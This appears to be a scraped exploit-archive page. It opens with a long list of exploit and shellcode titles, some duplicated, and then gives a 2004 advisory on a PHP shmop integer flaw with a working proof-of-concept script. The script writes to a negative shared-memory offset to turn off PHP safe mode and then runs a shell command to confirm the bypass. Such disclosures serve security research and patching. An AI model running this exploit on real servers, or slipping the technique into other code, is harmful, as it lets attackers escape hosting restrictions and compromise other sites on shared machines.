
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
45 lines
No EOL
1.5 KiB
PHP
45 lines
No EOL
1.5 KiB
PHP
source: https://www.securityfocus.com/bid/12045/info
|
|
|
|
PHP shared memory module (shmop) is reported prone to an integer handling vulnerability. The issue exists in the PHP_FUNCTION(shmop_write) function and is as a result of a lack of sufficient sanitization performed on 'offset' data.
|
|
|
|
This vulnerability may be exploited to make an almost arbitrary write into process memory. It is reported that the vulnerability may be leveraged to disable PHP 'safe mode', this may result in further compromise in a shared-server environment.
|
|
|
|
<?
|
|
/*
|
|
Php Safe_mode Bypass Proof of concept.
|
|
|
|
Copyright 2004 Stefano Di Paola stefano.dipaola[at]wisec.it
|
|
|
|
Disclaimer: The author is not responsible of any damage this script can cause
|
|
|
|
*/
|
|
|
|
$shm_id = shmop_open(0xff2, "c", 0644, 100);
|
|
if (!$shm_id) {
|
|
echo "Couldn't create shared memory segment\n";
|
|
die;
|
|
}
|
|
|
|
// $data="\x01";
|
|
// the new value for safe_mode
|
|
$data="\x00";
|
|
|
|
// this (-3842685) is my offset to reach core_globals.safe_mode
|
|
// taken with gdb. (0x40688d83)
|
|
$offset=-3842685;
|
|
// Lets write the new value at our offset.
|
|
$shm_bytes_written = shmop_write($shm_id, $data, $offset );
|
|
if ($shm_bytes_written != strlen($data)) {
|
|
echo "Couldn't write the entire length of data\n";
|
|
}
|
|
|
|
//Now lets delete the block and close the shared memory segment
|
|
if (!shmop_delete($shm_id)) {
|
|
echo "Couldn't mark shared memory block for deletion.";
|
|
}
|
|
shmop_close($shm_id);
|
|
|
|
// Let's try if safe mode has been set to off
|
|
echo passthru("id");
|
|
dl("shmop.so");
|
|
?>
|